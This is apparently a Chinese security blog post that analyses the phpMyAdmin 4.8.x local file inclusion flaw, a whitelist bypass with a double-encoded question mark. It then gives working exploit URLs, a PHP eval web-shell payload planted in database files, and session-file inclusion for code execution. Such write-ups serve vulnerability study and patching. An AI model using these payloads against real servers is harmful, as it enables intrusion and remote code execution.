phpMyAdmin 4.8.x 本地文件包含

  1. 0x00 源码分析
  2. 0x01 漏洞复现
  3. 0x02 漏洞利用
  4. 漏洞细节

0x00 源码分析

在/index.php 56行:

img

这里的target 可以直接传值输入。我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。

首先,我们满足4个条件:

1.传入的target 需要是一个字符串。

2.不能以/index/ 开头。

3.不能在$target_blacklist数组内。

img

4.满足checkPageValidity函数要求。

跟踪一下checkPageValidity函数

在/libraries/classes/Core.php 443行:

img

该函数内,有三处返回ture的地方,只要有任意一处返回ture就可以。观察这三处,有一个共同点,都是需要$page在$whitelist数组中内才会返回true。

img

我们先看第一个返回true的地方。

img

这里的`$page在in_array之前没有经过任何的修饰,直接就与$whitelist作比较。没有办法绕过,传入的target值只能为白名单里的文件名才行。很明显,第一个并不能利用。

再来看第二个

img

先介绍下这些函数的作用:

mb_strpos()函数的意思是查找字符串在另一个字符串中首次出现的位置。

mb_substr()函数的意思是:

string mb_substr ( string $str, int $start [, int $length = NULL [, string $encoding = mb_internal_encoding()]] )

从$str字符串中,提取从$start位置开始,长度为$length的字符串。

可以看出,第二个可以返回ture,我们利用db_sql.php?/../../格式就可以达到目的,绕过白名单限制。那是不是这样就可以造成漏洞了呢?

假设我们用db_sql.php?/../../../aaa.txt来绕过白名单限制进行包含文件。

img

那这里就是 include ‘db_sql.php?/../../../aaa.txt’。

这种格式并不能跨路径包含,因为php程序把?号后面的东西当成是传入db_sql.php文件的参数。

再来看第三个:

img

第三个和第二个对比多出了个urldecode()函数。

而问题恰恰出在了这个urldecode()函数。

我们可以利用双重编码绕过,将?经过两次编码%253f就可以绕过白名单验证。

原因是:

%253f 传入时,首先会被自动解码一次,变成%3f。然后urldecode()再解码一次,就变成了 ?。 成功绕过了白名单限制。

这种情况下include的包含情况就是这样的,也就可以任意包含本地文件了。

0x01 漏洞复现

1.使用帐号 root ,密码 toor 登录 phpMyAdmin

2.点击顶部导航栏中的SQL按钮,执行SQL查询

select '<?php phpinfo();exit;?>'

VulnSpy

  1. 获取自己的SESSION ID

你的 SESSION ID 为 Cookie 中的 phpMyAdmin 项。

VulnSpy

这样对应的SESSION文件为/var/lib/php/sessions/sess_你的SESSION ID

  1. 包含SESSION文件,成功利用该漏洞
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k

VulnSpy

0x02 漏洞利用

将WebShell写入到数据库中然后包含数据库文件,这个方法需要写入数据的权限。

在phpmyadmin中插入马的字段。比如 <?php eval($_GET[a])?>

此时,如果mysql的路径被猜到的话,其实是可以知道该表中所存储的数据的。

?a=phpinfo();&target=db_sql.php%253f/../../../../../../../../var/lib/mysql/test/HACK.ibd

我不知道应该是ibd还是frm文件,但是最终发现这样会出错,猜测可能是字符编码的问题或者是mysql版本的问题。我mysql的版本比较高。可能数据文件不是这么好读取。

方法二:利用mysql的data文件:

不用写文件也能拿Shell的方法。

我们都知道,登入phpmyadmin后,数据库就是完全可以控制的了,那我们是否可以把WebShell写入到数据库中然后包含数据库文件

创建一个名为abc的表,并且字段设置为

<?php eval($_GET[‘z’]); ?>。

img

保存,然后会在\MySQL\data\test目录下生成三个以数据表名命名的文件。(test为数据库名称)。

如果你不知道data文件路径,可以用sql查询来获取到它的绝对路径。

show variables like '%datadir%';

img

img

其中,abc.frm文件内容

img

Payload:

/index.php?z=phpinfo();&target=db_sql.php%253f/../../../../../../../../ruanjian/phpstudy/PHPTutorial/
MySQL/data/test/abc.frm

img

方法三:包含本地系统文件

Payload:

/index.php?target=db_sql.php%253f/../../../../../../windows/system.ini

漏洞细节

参照ChaMd5安全团队发布的文章:phpmyadmin4.8.1后台getshell


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:phpMyAdmin 4.8.x 本地文件包含

文章字数:1,050

本文作者:Mang0

发布时间:2018-10-27, 12:19:37

最后更新:2018-11-02, 22:21:15

原始链接:http://mang0.me/archis/767136e1/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏